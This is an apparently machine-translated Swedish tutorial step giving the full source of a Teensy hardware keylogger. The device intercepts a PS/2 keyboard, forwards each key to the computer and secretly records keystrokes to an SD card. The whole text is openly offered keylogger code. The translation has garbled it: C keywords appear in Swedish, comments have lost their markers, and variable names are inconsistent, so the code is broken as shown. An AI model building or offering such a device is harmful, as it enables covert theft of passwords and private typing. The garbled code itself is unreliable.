Teensy maskinvara Key logger (4 / 5 steg)
Steg 4: Koden
#include < SdFat.h >
#include < PS2Keyboard.h >
CONST int chipSelect = 0;
CONST int DataPin = 9;
CONST int IRQpin = 8;
Sträng keylog = "";
PS2Keyboard tangentbord;
SdFat sd;
SdFile MinFil;
void setup() {
SD.init (SPI_HALF_SPEED, chipSelect);
Keyboard.BEGIN (DataPin, IRQpin);
}
void loop() {
om (keyboard.available()) {
myFile.open ("test.txt", O_RDWR | O_CREAT | O_AT_END);
Läs nästa nyckeln
char c = keyboard.read();
Kontrollera om några av specialtangenter
om (c == PS2_ENTER) {
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
KeyLog += "[ENTER]";
myFile.println(keylog);
myFile.close();
KeyLog = "";
} else om (c == PS2_TAB) {
Keyboard.set_key1(KEY_TAB);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[TAB]");
myFile.close();
} else om (c == PS2_ESC) {
Keyboard.set_key1(KEY_ESC);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[ESC]");
myFile.close();
} else om (c == PS2_PAGEDOWN) {
Keyboard.set_key1(KEY_PAGE_DOWN);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[PAGEDOWN]");
myFile.close();
} else om (c == PS2_PAGEUP) {
Keyboard.set_key1(KEY_PAGE_UP);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[PAGEUP]");
myFile.close();
} else om (c == PS2_LEFTARROW) {
Keyboard.set_key1(KEY_LEFT);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[LEFTARROW]");
myFile.close();
} else om (c == PS2_RIGHTARROW) {
Keyboard.set_key1(KEY_RIGHT);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[RIGHTARROW]");
myFile.close();
} else om (c == PS2_UPARROW) {
Keyboard.set_key1(KEY_UP);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[UPARROW]");
myFile.close();
} else om (c == PS2_DOWNARROW) {
Keyboard.set_key1(KEY_DOWN);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[DOWNARROW]");
myFile.close();
} else om (c == PS2_HOME) {
Keyboard.set_key1(KEY_HOME);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[HOME]");
myFile.close();
} else om (c == PS2_SCROLL) {
Keyboard.set_key1(KEY_SCROLL_LOCK);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[SCROLL]");
myFile.close();
} else om (c == PS2_BACKSPACE) {
Keyboard.set_key1(KEY_BACKSPACE);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[BACKSPACE]");
myFile.close();
} else om (c == PS2_DELETE) {
Keyboard.set_key1(KEY_DELETE);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[DELETE]");
myFile.close();
} annat {
annars bara skriva ut alla vanliga tecken
Keyboard.Print(c);
KeyLog += c;
}
}
}